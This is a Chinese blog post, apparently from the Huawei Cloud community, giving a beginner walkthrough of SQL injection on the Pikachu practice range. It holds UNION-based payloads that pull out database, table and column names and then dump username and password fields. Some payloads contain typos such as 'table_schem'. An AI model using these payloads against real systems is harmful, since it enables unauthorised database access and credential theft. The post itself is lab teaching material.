今年十八,喜欢SQL注入

举报
_nojava 发表于 2022/12/01 14:02:49 2022/12/01
【摘要】 Pikachu靶场安装mirrors / zhuifengshaonianhanlu / pikachu · GitCodePikachu靶场作为为数不多的中文靶场,做得可以说是很优秀了。进入此处路径,按注释修改修改完成后浏览器访问当然后缀按你们自己的命名而定。 SQL注入的顺序:库名,表名,字段名,数据 首先明确SQL注入的前提:1、我们输入的参数是可以修改的2、参数可以被传到数据库中 ...

Pikachu靶场安装

mirrors / zhuifengshaonianhanlu / pikachu · GitCode

Pikachu靶场作为为数不多的中文靶场,做得可以说是很优秀了。

进入此处路径,按注释修改

修改完成后浏览器访问

当然后缀按你们自己的命名而定。

SQL注入的顺序:

库名,表名,字段名,数据

首先明确SQL注入的前提:

1、我们输入的参数是可以修改的

2、参数可以被传到数据库中

判断闭合类型

单引号闭合

如果在输入1’后报错

首先观察报错信息,去掉最外面的一对单引号(因为报错的时候会自动在外面加一对双引号)

然后观察是否多了一个单引号

如果多,证明为单引号闭合

此时输入双引号则不会报错

双引号反之

数字型

输入例如1与2-1若返回结果相同,则为数字型闭合

也可以通过注释来处理

?id=1 # //get方法 url传参 #注释
 
?id=1 %23 //post方法 url传参 #注释

具体步骤

  1. 判断闭合符

按上述方法即可

2.判断列数

联合查询

联合查询要求前后字段必须相等

同时在已知库名/其他,可以通过下述内容进行撰写

information_schema.schemata:记录数据库信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息的表
schema_name 数据库名
table_name 表名
column_name 列名
table_schema 数据库名

关于这里的两个数据库名,可以如下进行区分

schema_name 数据库名相当于是一个个房间

table_schema 数据库名 ,则相当于房间里的床

该概念引自

数据库中table 和 schema的区别 - panda521 - 博客园

原链接在此。

**  1.order by方法**

根据username进行排序

select id,username,passwd from t_user order by username;

根据数字进行排序:

select id,username,passwd from t_user order by 4;

若第四个字段不存在,则会报错

?id=1' order by 4# 报错
?id=1 order by 3 # 不报错

可以推导出第一个查询语句有三个字段

注入流程

0、按上述方法判断闭合类型

1.查数据库名

?id=-1 union select 1,database(),1#

注意,此处的-1需要是一个在数据库中id字段不存在的值,否则第一条信息会占用显示位,导致无法看到咱们需要看的查询数据

2.查表名

group_concat(fileds)函数表示查询结果中的多条纪录合并为一行显示,默认使用逗号 分隔。

?id=-1' union select 1,group_concat(table_name),1 from information_schema.tables where table_schem=database()#

当然,也可以这样,直接

1 union select 1,table_name from information_schema.tables where table_schem ='库名’#

好像也行

3.查列名

?id=-1' union select 1,group_concat(column_name),1 from information_schema.columns where table_schema=database() and table_name='user'#

4.查数据

?id=-1' and select 1,group_concat(concat(0x7e,username,0x7e,passwd,0x7e)),1 from user#

通过查询concat()可知:该函数将每一条记录的每一个字段拼接成一个字符串,0x7e表示~,作为一个分割符出现。

【版权声明】本文为华为云社区用户原创内容,未经允许不得转载,如需转载请自行联系原作者进行授权。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。